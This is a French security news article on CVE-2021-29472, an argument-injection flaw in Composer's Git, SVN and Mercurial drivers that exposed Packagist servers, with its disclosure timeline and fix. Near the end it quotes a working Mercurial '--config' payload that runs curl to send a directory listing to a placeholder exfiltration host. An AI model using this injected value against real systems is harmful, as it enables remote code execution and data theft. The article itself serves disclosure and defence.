Une vulnérabilité critique a été détectée dans le gestionnaire de dépendances Composer (CVE-2021-29472), permettant l'exécution de commandes arbitraires dans le système lors du traitement d'un paquet contenant une valeur d'URL spécialement formatée, définissant l'adresse de téléchargement des sources. Le problème se manifeste dans les composants GitDriver, SvnDriver et HgDriver, utilisés lors de l'utilisation des systèmes de gestion de versions Git, Subversion et Mercurial. La vulnérabilité a été corrigée dans les versions Composer 1.10.22 et 2.0.13.
Il est particulièrement à noter que le problème a principalement concerné le dépôt de paquets Packagist, utilisé par défaut dans Composer, qui compte 306 000 paquets pour les développeurs PHP et gère plus de 1,4 milliard de téléchargements par mois. L’expérience a montré qu’en cas de connaissance du problème, des attaquants pourraient obtenir le contrôle de l'infrastructure de Packagist et intercepter les identifiants des mainteneurs, ou rediriger le téléchargement de paquets vers un serveur tiers, organisant ainsi la livraison de variantes de paquets avec des modifications malveillantes pour insérer un backdoor lors de l'installation des dépendances.
Le danger pour les utilisateurs finaux est limité par le fait que le contenu de composer.json est généralement défini par l'utilisateur lui-même, et que les liens vers les sources sont transmis lors de l'accès à des dépôts tiers, généralement dignes de confiance. Le principal impact a été subi par le dépôt Packagist.org et le service Private Packagist, qui invoquent Composer en transmettant des données reçues des utilisateurs. Les attaquants pouvaient exécuter leur code sur les serveurs de Packagist en déposant un paquet spécialement conçu.
L'équipe de Packagist a corrigé la vulnérabilité dans les 12 heures suivant le rapport de celle-ci. Les chercheurs ont informé discrètement les développeurs de Packagist le 22 avril et le problème a été résolu le même jour. Une mise à jour publique de Composer corrigeant la vulnérabilité a été publiée le 27 avril, et les détails ont été révélés le 28 avril. L’audit des journaux sur les serveurs de Packagist n’a révélé aucune activité suspecte liée à la vulnérabilité.
Le problème est causé par une erreur dans le code de vérification de la validité de l'URL dans le fichier racine composer.json et dans les liens pour le téléchargement des fichiers sources. L'erreur est présente dans le code depuis novembre 2011. Dans Packagist, pour organiser le téléchargement du code sans lier à un système de gestion de fichiers source spécifique, des couches spéciales sont utilisées, exécutées via l'appel «fromShellCommandline» avec la transmission des arguments de la ligne de commande. Par exemple, pour git, la commande «git ls-remote --heads $URL» est appelée, où l'URL est traitée par la méthode «ProcessExecutor::escape($url)», qui échappe les constructions potentiellement dangereuses comme «$(…)» ou «`…`».
L'essence du problème est que la méthode ProcessExecutor::escape n'échappait pas la séquence «--», ce qui permettait d'indiquer dans l'URL tout paramètre d'appel supplémentaire. Un tel échappement était absent dans les pilotes GitDriver.php, SvnDriver.php et HgDriver.php. L'attaque via GitDriver.php était empêchée par le fait que la commande «git ls-remote» ne supportait pas l'indication d'arguments supplémentaires après le chemin. Une attaque possible sur HgDriver.php était envisageable via le paramètre «--config» passé à l'outil «hq», permettant l'exécution d'une commande quelconque par manipulation de la configuration «alias.identify». Par exemple, pour télécharger et exécuter du code via l'outil curl, il était possible d'indiquer : --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)"
En plaçant un paquet de test dans Packagist avec une URL similaire, les chercheurs ont vérifié qu'après son placement sur leur serveur, une requête HTTP est arrivée d'un des serveurs Packagist dans AWS, contenant une liste des fichiers dans le répertoire courant.
Source : opennet.ru
